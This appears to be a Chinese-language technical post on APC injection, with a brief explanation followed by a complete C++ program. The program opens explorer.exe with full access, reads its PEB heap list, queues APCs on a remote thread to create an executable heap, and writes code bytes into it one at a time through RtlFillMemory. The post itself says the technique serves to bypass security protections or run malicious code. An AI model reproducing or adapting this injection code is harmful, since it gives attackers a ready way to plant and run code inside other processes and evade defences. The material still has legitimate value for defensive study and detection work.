概述:利用 HeapCreate 实现 APC 注入

原理

APC(Asynchronous Procedure Call,异步过程调用)注入是一种利用 Windows 操作系统的线程调度机制实现代码注入的技术,通常用于绕过安全防护或执行恶意代码。其核心原理是通过向目标线程的 APC 队列插入自定义回调函数,迫使目标线程在特定时机执行注入的代码。

代码

// NtQueueApcThread.cpp : 定义控制台应用程序的入口点。
//
 
#include <windows.h>
#include <winternl.h>
 
#pragma comment(lib,"ntdll.lib")
#define NTKERNELAPI DECLSPEC_IMPORT 
#define RTL_MAX_DRIVE_LETTERS 32
#define GDI_HANDLE_BUFFER_SIZE32  34
#define GDI_HANDLE_BUFFER_SIZE64  60
#define GDI_BATCH_BUFFER_SIZE 310
 
#define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 )
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
 
#if !defined(_M_X64)
#define GDI_HANDLE_BUFFER_SIZE      GDI_HANDLE_BUFFER_SIZE32
#else
#define GDI_HANDLE_BUFFER_SIZE      GDI_HANDLE_BUFFER_SIZE64
#endif
 
typedef ULONG GDI_HANDLE_BUFFER32[GDI_HANDLE_BUFFER_SIZE32];
typedef ULONG GDI_HANDLE_BUFFER64[GDI_HANDLE_BUFFER_SIZE64];
typedef ULONG GDI_HANDLE_BUFFER[GDI_HANDLE_BUFFER_SIZE];
 
typedef struct _PEBX64 {
	BOOLEAN InheritedAddressSpace;
	BOOLEAN ReadImageFileExecOptions;
	BOOLEAN BeingDebugged;
	union
	{
		BOOLEAN BitField;
		struct
		{
			BOOLEAN ImageUsesLargePages : 1;
			BOOLEAN IsProtectedProcess : 1;
			BOOLEAN IsImageDynamicallyRelocated : 1;
			BOOLEAN SkipPatchingUser32Forwarders : 1;
			BOOLEAN IsPackagedProcess : 1;
			BOOLEAN IsAppContainer : 1;
			BOOLEAN IsProtectedProcessLight : 1;
			BOOLEAN IsLongPathAwareProcess : 1;
		};
	};
	HANDLE Mutant;
 
	PVOID ImageBaseAddress;
	PPEB_LDR_DATA Ldr;
	PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
	PVOID SubSystemData;
	PVOID ProcessHeap;
	PRTL_CRITICAL_SECTION FastPebLock;
	PVOID AtlThunkSListPtr;
	PVOID IFEOKey;
	union
	{
		ULONG CrossProcessFlags;
		struct
		{
			ULONG ProcessInJob : 1;
			ULONG ProcessInitializing : 1;
			ULONG ProcessUsingVEH : 1;
			ULONG ProcessUsingVCH : 1;
			ULONG ProcessUsingFTH : 1;
			ULONG ProcessPreviouslyThrottled : 1;
			ULONG ProcessCurrentlyThrottled : 1;
			ULONG ReservedBits0 : 25;
		};
		ULONG EnvironmentUpdateCount;
	};
	union
	{
		PVOID KernelCallbackTable;
		PVOID UserSharedInfoPtr;
	};
	ULONG SystemReserved[1];
	ULONG AtlThunkSListPtr32;
	PVOID ApiSetMap;
	ULONG TlsExpansionCounter;
	PVOID TlsBitmap;
	ULONG TlsBitmapBits[2];
	PVOID ReadOnlySharedMemoryBase;
	PVOID HotpatchInformation;
	PVOID* ReadOnlyStaticServerData;
	PVOID AnsiCodePageData;
	PVOID OemCodePageData;
	PVOID UnicodeCaseTableData;
 
	ULONG NumberOfProcessors;
	ULONG NtGlobalFlag;
 
	LARGE_INTEGER CriticalSectionTimeout;
	SIZE_T HeapSegmentReserve;
	SIZE_T HeapSegmentCommit;
	SIZE_T HeapDeCommitTotalFreeThreshold;
	SIZE_T HeapDeCommitFreeBlockThreshold;
 
	ULONG NumberOfHeaps;
	ULONG MaximumNumberOfHeaps;
	PVOID* ProcessHeaps;
 
	PVOID GdiSharedHandleTable;
	PVOID ProcessStarterHelper;
	ULONG GdiDCAttributeList;
 
	PRTL_CRITICAL_SECTION LoaderLock;
 
	ULONG OSMajorVersion;
	ULONG OSMinorVersion;
	USHORT OSBuildNumber;
	USHORT OSCSDVersion;
	ULONG OSPlatformId;
	ULONG ImageSubsystem;
	ULONG ImageSubsystemMajorVersion;
	ULONG ImageSubsystemMinorVersion;
	ULONG_PTR ImageProcessAffinityMask;
	GDI_HANDLE_BUFFER GdiHandleBuffer;
	PVOID PostProcessInitRoutine;
 
	PVOID TlsExpansionBitmap;
	ULONG TlsExpansionBitmapBits[32];
 
	ULONG SessionId;
 
	ULARGE_INTEGER AppCompatFlags;
	ULARGE_INTEGER AppCompatFlagsUser;
	PVOID pShimData;
	PVOID AppCompatInfo;
 
	UNICODE_STRING CSDVersion;
 
	PVOID ActivationContextData;
	PVOID ProcessAssemblyStorageMap;
	PVOID SystemDefaultActivationContextData;
	PVOID SystemAssemblyStorageMap;
 
	SIZE_T MinimumStackCommit;
 
	PVOID* FlsCallback;
	LIST_ENTRY FlsListHead;
	PVOID FlsBitmap;
	ULONG FlsBitmapBits[FLS_MAXIMUM_AVAILABLE / (sizeof(ULONG) * 8)];
	ULONG FlsHighIndex;
 
	PVOID WerRegistrationData;
	PVOID WerShipAssertPtr;
	PVOID pContextData;
	PVOID pImageHeaderHash;
	union
	{
		ULONG TracingFlags;
		struct
		{
			ULONG HeapTracingEnabled : 1;
			ULONG CritSecTracingEnabled : 1;
			ULONG LibLoaderTracingEnabled : 1;
			ULONG SpareTracingBits : 29;
		};
	};
	ULONGLONG CsrServerReadOnlySharedMemoryBase;
} PEBX64, * PPEBX64;
 
#if false
 
typedef struct _CLIENT_ID {
	HANDLE UniqueProcess;
	HANDLE UniqueThread;
}CLIENT_ID, * PCLIENT_ID;
#else
 
typedef _CLIENT_ID* PCLIENT_ID;
 
#endif
 
#ifdef __cplusplus
extern "C" {
#endif
	NTKERNELAPI LONG NTAPI
		RtlCompareUnicodeString(
			IN PCUNICODE_STRING String1,
			IN PCUNICODE_STRING String2,
			IN BOOLEAN CaseInSensitive
		);
 
	NTKERNELAPI NTSTATUS NTAPI
		NtFsControlFile(
			__in HANDLE FileHandle,
			__in_opt HANDLE Event,
			__in_opt PIO_APC_ROUTINE ApcRoutine,
			__in_opt PVOID ApcContext,
			__out PIO_STATUS_BLOCK IoStatusBlock,
			__in ULONG IoControlCode,
			__in_bcount_opt(InputBufferLength) PVOID InputBuffer,
			__in ULONG InputBufferLength,
			__out_bcount_opt(OutputBufferLength) PVOID OutputBuffer,
			__in ULONG OutputBufferLength
		);
 
	NTKERNELAPI NTSTATUS NTAPI
		NtWriteFile(
			__in HANDLE FileHandle,
			__in_opt HANDLE Event,
			__in_opt PIO_APC_ROUTINE ApcRoutine,
			__in_opt PVOID ApcContext,
			__out PIO_STATUS_BLOCK IoStatusBlock,
			__in_bcount(Length) PVOID Buffer,
			__in ULONG Length,
			__in_opt PLARGE_INTEGER ByteOffset,
			__in_opt PULONG Key
		);
 
	NTKERNELAPI PIMAGE_NT_HEADERS NTAPI
		NTAPI
		RtlImageNtHeader(
			PVOID Base
		);
 
	NTKERNELAPI
		NTSTATUS
		NTAPI
		NtQueueApcThread(
			IN HANDLE ThreadHandle,
			IN FARPROC ApcRoutine,
			IN PVOID ApcArgument1,
			IN PVOID ApcArgument2,
			IN PVOID ApcArgument3
		);
 
 
	NTKERNELAPI
		NTSTATUS
		NTAPI NtCreateThreadEx(PHANDLE ThreadHandle,
			ACCESS_MASK DesiredAccess,
			LPVOID ObjectAttributes,
			HANDLE ProcessHandle,
			LPTHREAD_START_ROUTINE lpStartAddress,
			LPVOID lpParameter,
			BOOL CreateThreadFlags,
			DWORD  ZeroBits,
			DWORD  StackSize,
			DWORD  MaximumStackSize,
			PVOID lpBytesBuffer);
 
	NTKERNELAPI NTSTATUS NTAPI
		RtlCreateUserThread(
			IN HANDLE Process,
			IN PSECURITY_DESCRIPTOR ThreadSecurityDescriptor OPTIONAL,
			IN BOOLEAN CreateSuspended,
			IN ULONG ZeroBits OPTIONAL,
			IN SIZE_T MaximumStackSize OPTIONAL,
			IN SIZE_T CommittedStackSize OPTIONAL,
			IN LPTHREAD_START_ROUTINE StartAddress,
			IN PVOID Parameter OPTIONAL,
			OUT PHANDLE Thread OPTIONAL,
			OUT PCLIENT_ID ClientId OPTIONAL
		);
#ifdef __cplusplus
}
#endif
#define NT_CREATE_THREAD_EX_SUSPENDED 1
#define NT_CREATE_THREAD_EX_ALL_ACCESS 0x001FFFFF
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
 
 
int _tmain(int argc, _TCHAR* argv[])
{
	HWND Shell_TrayWnd = FindWindow(L"Shell_TrayWnd", NULL);
	DWORD dwProcessId = 0;
	NTSTATUS Status;
	BOOL bRet = FALSE;
	HANDLE hThread = NULL;
	GetWindowThreadProcessId(Shell_TrayWnd, &dwProcessId);
	//HANDLE hProcess  = OpenProcess(PROCESS_VM_READ|PROCESS_CREATE_THREAD|PROCESS_QUERY_INFORMATION,FALSE,dwProcessId);
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
	if (hProcess)
	{
		ULONG URet = 0;
		SIZE_T SizeRet = 0;
		CLIENT_ID ClientId = { 0 };
		PEBX64 TheExplorerPeb = { 0 };
		PROCESS_BASIC_INFORMATION BasicInfo = { 0 };
		Status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &BasicInfo, sizeof(BasicInfo), &URet);
		bRet = ReadProcessMemory(hProcess, BasicInfo.PebBaseAddress, &TheExplorerPeb, sizeof(TheExplorerPeb), &SizeRet);
		ULONG UlHeapArraySize = TheExplorerPeb.NumberOfHeaps * sizeof(ULONG_PTR);
		PULONG_PTR UlOldHeapArray = (PULONG_PTR)new BYTE[UlHeapArraySize];
		bRet = ReadProcessMemory(hProcess, TheExplorerPeb.ProcessHeaps, UlOldHeapArray, UlHeapArraySize, &SizeRet);
		delete[]UlOldHeapArray;
		FARPROC RtlFillMemory = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "RtlFillMemory");
		//Status = NtCreateThreadEx(&hThread, NT_CREATE_THREAD_EX_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)ExitThread, (LPVOID)0, NT_CREATE_THREAD_EX_SUSPENDED, NULL, 0, 0, NULL);
		Status = RtlCreateUserThread(hProcess, NULL, TRUE, 0, 0, 0, (LPTHREAD_START_ROUTINE)ExitThread, NULL, &hThread, &ClientId);
		if (NT_SUCCESS(Status))
		{
			FARPROC HeapCreateProc = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "HeapCreate");
			Status = NtQueueApcThread(hThread, (FARPROC)HeapCreate, (PVOID)HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
			if (NT_SUCCESS(Status))
			{
 
				ResumeThread(hThread);
				WaitForSingleObject(hThread, INFINITE);
				CloseHandle(hThread);
			}
		}
 
		bRet = ReadProcessMemory(hProcess, BasicInfo.PebBaseAddress, &TheExplorerPeb, sizeof(TheExplorerPeb), &SizeRet);
		UlHeapArraySize = TheExplorerPeb.NumberOfHeaps * sizeof(ULONG_PTR);
		PULONG_PTR UlNewHeapArray = (PULONG_PTR)new BYTE[UlHeapArraySize];
		bRet = ReadProcessMemory(hProcess, TheExplorerPeb.ProcessHeaps, UlNewHeapArray, UlHeapArraySize, &SizeRet);
 
 
		HANDLE hTestHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
		LPVOID lpAllocMem = HeapAlloc(hTestHeap, 0, 0x2000);
		ULONG UlHeapOffset = (PBYTE)lpAllocMem - (PBYTE)hTestHeap;
		bRet = HeapFree(hTestHeap, 0, lpAllocMem);
		bRet = HeapDestroy(hTestHeap);
		ULONG_PTR UlRemoteXHeap = UlNewHeapArray[TheExplorerPeb.NumberOfHeaps - 1];
		ULONG_PTR UlWriteMemAdr = UlRemoteXHeap + UlHeapOffset;
		delete[]UlNewHeapArray;
 
		Status = RtlCreateUserThread(hProcess, NULL, TRUE, 0, 0, 0, (LPTHREAD_START_ROUTINE)ExitThread, NULL, &hThread, &ClientId);
		if (NT_SUCCESS(Status))
		{
			BYTE MemByte[] = { 0x33,0xc0,0xc3,0x90 };
			ULONG UlWrite = *(PULONG)MemByte;
			FARPROC HeapCreateProc = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "HeapCreate");
			Status = NtQueueApcThread(hThread, (FARPROC)HeapAlloc, (PVOID)UlRemoteXHeap, 0, (PVOID)0x2000);
			for (int i = 0; i < 4; i++)
			{
				Status = NtQueueApcThread(hThread, (FARPROC)RtlFillMemory, (PVOID)(UlWriteMemAdr + i), (PVOID)1, (PVOID) * (MemByte + i));
			}
			if (NT_SUCCESS(Status))
			{
 
				ResumeThread(hThread);
				WaitForSingleObject(hThread, INFINITE);
				CloseHandle(hThread);
			}
		}
 
	}
 
	return 0;
}